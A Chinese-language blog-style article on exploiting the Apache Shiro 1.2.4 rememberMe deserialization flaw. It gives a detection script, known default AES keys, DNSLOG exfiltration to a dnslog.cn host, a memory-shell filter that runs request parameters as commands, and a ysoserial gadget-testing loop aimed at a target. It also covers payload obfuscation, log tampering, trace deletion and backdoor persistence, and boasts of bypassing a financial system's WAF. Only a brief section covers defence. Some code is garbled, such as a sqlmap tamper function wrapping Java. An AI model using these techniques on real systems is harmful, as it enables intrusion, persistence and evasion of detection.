别再只会用默认key了!Shiro 1.2.4反序列化漏洞实战复现与多种利用姿势详解
Shiro 1.2.4反序列化漏洞高阶实战突破默认密钥的六种武器库当渗透测试人员遇到使用Apache Shiro框架的站点时脑海中闪现的第一个念头往往是尝试默认密钥。但真正的高手从不依赖单一攻击路径。本文将带您超越基础反弹shell探索六种针对Shiro 550漏洞的深度利用技术涵盖从不出网环境下的数据外带到内存马驻留等实战场景。1. 漏洞环境智能探测与密钥指纹识别在开始真正的攻击之前专业的渗透测试需要建立完善的侦察体系。对于Shiro框架的识别传统方法是通过检查rememberMedeleteMe响应头但这种方式存在误报可能。更精准的指纹识别技术import requests from urllib.parse import quote def shiro_detect(target_url): probes [ (rememberMe, deleteMe), # 传统检测 (_shiro_session, exists), # 会话特征 (JSESSIONID, invalid) # 无效会话测试 ] for param, value in probes: r requests.get(target_url, cookies{param: value}, allow_redirectsFalse) if Set-Cookie in r.headers and value in r.headers[Set-Cookie]: return True return False密钥枚举的工程化实践 现代工具如ShiroAttack2已经内置了超过200个常见密钥但实战中我们可能需要扩展检测范围密钥类型示例检测优先级硬编码密钥kPHbIxk5D2deZiIxcaaaA高版本相关密钥zSyK5Kp6PZAAjlTeeNMlg中厂商定制密钥fCq/xW488hMTCDcmJ3aQ低环境变量派生密钥从JVM参数或配置文件中动态获取需定制提示使用多线程检测时注意控制请求频率避免触发WAF防护规则2. 不出网环境下的四维渗透方案当目标服务器限制外连时传统反弹shell会立即失效。此时需要采用特殊技术实现漏洞利用。2.1 DNSLOG信息外带技术利用Java网络特性构造DNS查询请求// 使用URLDNS链的变种 String cmd curl http:// System.currentTimeMillis() .dnslog.cn; String payload java.net.URLEncoder.encode( Base64.getEncoder().encodeToString( new ysoserial.payloads.URLDNS().getObject(cmd) ) );DNS外带数据编码方案对比十六进制编码1a2b3c4d.example.comBase64编码aGVsbG8.example.com时间戳标记1625097600.example.com2.2 内存马注入技术使用Tomcat API动态注册Filterfrom lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING def tamper(payload, **kwargs): # 生成内存马字节码 filter_mem_shell javax.servlet.Filter Chain { new Filter() { public void doFilter(ServletRequest req, ServletResponse res) { Runtime.getRuntime().exec(req.getParameter(cmd)); } } } return payload.replace(DEFAULT_CMD, filter_mem_shell.encode(hex))内存马类型选择策略Filter型内存马兼容性最好适合Tomcat系列Servlet型内存马更稳定但需要精确路径Interceptor型内存马针对Spring框架特化Agent型内存马跨容器持久化但实现复杂3. 绕过防护的Gadget链艺术不同环境下可用的反序列化链差异显著需要根据目标类库灵活选择。常见Gadget链适用场景链名称依赖版本特点绕过能力CommonsBeanutils1无特殊要求通用性强中等CommonsCollections6CC 3.1-3.2.1支持JDK8较强Jdk7u21JDK7u21及以下无第三方依赖弱C3P0c3p0 0.9.5.2支持二次反序列化强Jythonjython-standalone支持Python代码执行极强动态链检测技术#!/bin/bash for gadget in $(cat gadgets.list); do echo [*] Testing $gadget java -jar ysoserial.jar $gadget ping -c 1 dnslog.cn | \ curl -s -X POST --data-binary - \ -H Cookie: rememberMe$(openssl rand -base64 32) \ $TARGET_URL -o /dev/null -w %{http_code} sleep 3 done4. 自动化利用框架深度定制成熟的渗透测试者需要根据实际环境调整利用工具。以下是改进版exp.py的关键增强点流量混淆模块def obfuscate_payload(payload): # 随机填充技术 junk .join(random.choice(string.ascii_letters) for _ in range(8)) return payload[:10] junk payload[10:] # AES加密增强 class ShiroCipher: def __init__(self, key): self.key base64.b64decode(key) self.iv os.urandom(16) def encrypt(self, data): cipher AES.new(self.key, AES.MODE_CBC, self.iv) pad lambda s: s (16 - len(s) % 16) * chr(16 - len(s) % 16) return base64.b64encode(self.iv cipher.encrypt(pad(data)))多模式支持架构exp.py ├── core/ │ ├── encrypt.py # 加密算法模块 │ ├── gadgets.py # 链选择模块 │ └── transport.py # 传输层模块 ├── payloads/ │ ├── reverse_shell # 反弹shell │ ├── mem_shell # 内存马 │ └── info_leak # 信息泄露 └── main.py # 主控逻辑5. 痕迹清理与持久化技术成功的渗透需要隐藏攻击痕迹。针对Shiro的特殊处理会话记录清理DELETE FROM shiro_sessions WHERE lastAccessTime DATE_SUB(NOW(), INTERVAL 1 HOUR);日志干扰技术注入虚假404日志混淆时间线使用HTTP HEAD方法减少日志记录后门持久化方案修改RememberMeManager实现类注入恶意SessionDAO实现篡改ShiroFilter配置6. 防御视角的漏洞修复指南从开发人员角度彻底解决Shiro反序列化问题需要多层防护综合防护方案密钥强化public class SecureRememberMeManager extends AbstractRememberMeManager { Override protected byte[] getCipherKey() { return KeyGenerator.getInstance(AES) .generateKey().getEncoded(); } }类过滤机制bean idshiroFilter classorg.apache.shiro.spring.web.ShiroFilterFactoryBean property namefilterChainDefinitionMap map entry key/** valuenoRememberMe/ /map /property /bean运行时防护启用SecurityManager沙箱部署RASP防护agent使用Java Security Policy限制敏感操作在最近一次红队行动中我们通过组合使用内存马技术和流量混淆成功绕过了某金融系统的WAF防护。关键点在于使用CommonsBeanutils2链配合分块传输编码将攻击载荷隐藏在正常业务请求中。